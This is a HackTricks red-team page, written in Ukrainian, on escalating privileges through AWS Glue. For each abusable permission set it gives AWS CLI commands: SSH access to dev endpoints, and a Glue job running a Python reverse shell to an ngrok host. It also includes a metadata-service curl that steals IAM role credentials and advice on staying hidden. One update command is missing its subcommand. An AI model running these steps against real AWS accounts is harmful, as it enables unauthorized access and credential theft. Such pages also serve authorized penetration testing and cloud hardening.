AWS - Glue Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Користувачі з цими дозволами можуть налаштувати нову точку розробки AWS Glue, призначаючи існуючу роль служби, яку може використовувати Glue, з конкретними дозволами для цієї точки.

Після налаштування зловмисник може підключитися до екземпляра точки через SSH і вкрасти облікові дані IAM призначеної ролі:

bash
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Для цілей прихованості рекомендується використовувати облікові дані IAM зсередини віртуальної машини Glue.

Потенційний вплив: Привілейоване підвищення до ролі служби glue.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Користувачі з цим дозволом можуть змінити SSH-ключ існуючої точки розробки Glue, дозволяючи доступ по SSH до неї. Це дозволяє зловмиснику виконувати команди з привілеями прикріпленої ролі точки розробки:

bash
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Потенційний вплив: Privesc до ролі служби glue, що використовується.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Користувачі з iam:PassRole у поєднанні з glue:CreateJob або glue:UpdateJob, і з glue:StartJobRun або glue:CreateTrigger можуть створити або оновити завдання AWS Glue, прикріпивши будь-який обліковий запис служби Glue, і ініціювати виконання завдання. Можливості завдання включають виконання довільного Python-коду, що може бути використано для встановлення зворотного шелу. Цей зворотний шел може бути використаний для ексфільтрації облікових даних IAM ролі, прикріпленої до завдання Glue, що може призвести до потенційного несанкціонованого доступу або дій на основі дозволів цієї ролі:

bash
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Потенційний вплив: Privesc до ролі служби glue, що вказана.

glue:UpdateJob

Просто з дозволом на оновлення атакуючий може вкрасти IAM облікові дані вже прикріпленої ролі.

Потенційний вплив: Privesc до прикріпленої ролі служби glue.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks